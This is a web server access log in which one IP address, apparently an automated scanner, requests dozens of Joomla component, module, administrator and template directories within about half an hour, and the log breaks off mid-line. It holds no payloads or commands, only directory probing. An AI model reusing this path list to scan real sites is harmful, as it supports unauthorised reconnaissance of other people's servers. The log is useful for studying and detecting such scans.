45.144.196.50 - - [04/Nov/2025:23:18:04 +0330] "GET /administrator/components/com_rsform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:20:00 +0330] "GET /components/com_installer/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:20:06 +0330] "GET /components/com_joomlaupdate/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:19:20 +0330] "GET /components/com_ajax/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:19:25 +0330] "GET /components/com_config/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:19:34 +0330] "GET /components/com_contenthistory/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:19:40 +0330] "GET /components/com_fields/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:19:44 +0330] "GET /components/com_finder/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:21:49 +0330] "GET /components/com_content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:22:01 +0330] "GET /components/com_contact/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:22:10 +0330] "GET /components/com_users/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:22:12 +0330] "GET /components/com_media/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:22:19 +0330] "GET /components/com_wrapper/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:22:30 +0330] "GET /components/com_banners/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:22:39 +0330] "GET /components/com_ajax/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:22:49 +0330] "GET /components/com_config/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:22:57 +0330] "GET /components/com_contenthistory/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:23:03 +0330] "GET /components/com_fields/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:20:14 +0330] "GET /components/com_languages/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:20:18 +0330] "GET /components/com_mailto/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:20:22 +0330] "GET /components/com_newsfeeds/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:20:25 +0330] "GET /components/com_plugins/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:23:32 +0330] "GET /components/com_joomlaupdate/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:23:38 +0330] "GET /components/com_languages/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:23:45 +0330] "GET /components/com_mailto/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:23:54 +0330] "GET /components/com_newsfeeds/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:24:03 +0330] "GET /components/com_plugins/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:24:13 +0330] "GET /components/com_search/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:24:24 +0330] "GET /components/com_tags/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:24:32 +0330] "GET /components/com_templates/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:25:20 +0330] "GET /components/com_contact/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:28:37 +0330] "GET /components/com_newsfeeds/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:28:51 +0330] "GET /components/com_plugins/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:28:58 +0330] "GET /components/com_search/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:29:07 +0330] "GET /components/com_tags/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:23:10 +0330] "GET /components/com_finder/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:23:18 +0330] "GET /components/com_installer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:26:21 +0330] "GET /components/com_wrapper/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:26:28 +0330] "GET /components/com_banners/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:26:38 +0330] "GET /components/com_ajax/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:26:42 +0330] "GET /components/com_config/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:26:50 +0330] "GET /components/com_contenthistory/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:27:10 +0330] "GET /components/com_fields/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:27:15 +0330] "GET /components/com_finder/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:27:47 +0330] "GET /components/com_installer/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:27:52 +0330] "GET /components/com_joomlaupdate/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:27:59 +0330] "GET /components/com_languages/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:28:08 +0330] "GET /components/com_mailto/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:30:59 +0330] "GET /components/com_banners/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:31:45 +0330] "GET /components/com_config/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:32:24 +0330] "GET /components/com_fields/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:32:59 +0330] "GET /components/com_installer/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:33:46 +0330] "GET /components/com_mailto/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:33:48 +0330] "GET /components/com_newsfeeds/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:33:53 +0330] "GET /components/com_plugins/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:33:59 +0330] "GET /components/com_search/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:34:06 +0330] "GET /components/com_tags/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:34:11 +0330] "GET /components/com_templates/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:34:18 +0330] "GET /modules/mod_custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:34:26 +0330] "GET /modules/mod_login/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:35:07 +0330] "GET /modules/mod_articles_categories/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:35:16 +0330] "GET /modules/mod_articles_category/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:35:21 +0330] "GET /modules/mod_articles_latest/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:29:42 +0330] "GET /components/com_content/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:29:58 +0330] "GET /components/com_contact/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:30:04 +0330] "GET /components/com_users/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:30:39 +0330] "GET /components/com_wrapper/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:33:31 +0330] "GET /components/com_languages/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:34:38 +0330] "GET /modules/mod_menu/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:34:59 +0330] "GET /modules/mod_articles_archive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:35:48 +0330] "GET /modules/mod_articles_popular/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:36:04 +0330] "GET /modules/mod_banners/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:36:11 +0330] "GET /modules/mod_breadcrumbs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:36:26 +0330] "GET /modules/mod_feed/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:36:35 +0330] "GET /modules/mod_finder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:36:59 +0330] "GET /modules/mod_footer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:38:06 +0330] "GET /modules/mod_syndicate/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:38:20 +0330] "GET /administrator/modules/mod_custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:38:23 +0330] "GET /administrator/modules/mod_login/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:38:32 +0330] "GET /administrator/modules/mod_menu/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:38:38 +0330] "GET /administrator/modules/mod_articles_archive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:38:43 +0330] "GET /administrator/modules/mod_articles_categories/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:42:52 +0330] "GET /templates/hathor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:46:02 +0330] "GET /templates/beez5/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:35:33 +0330] "GET /modules/mod_articles_news/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:37:09 +0330] "GET /modules/mod_languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:37:22 +0330] "GET /modules/mod_random_image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:37:30 +0330] "GET /modules/mod_related_items/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:37:35 +0330] "GET /modules/mod_search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:37:45 +0330] "GET /modules/mod_stats/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:43:15 +0330] "GET /templates/isis/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:43:23 +0330] "GET /templates/cassiopeia/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:43:35 +0330] "GET /templates/yootheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 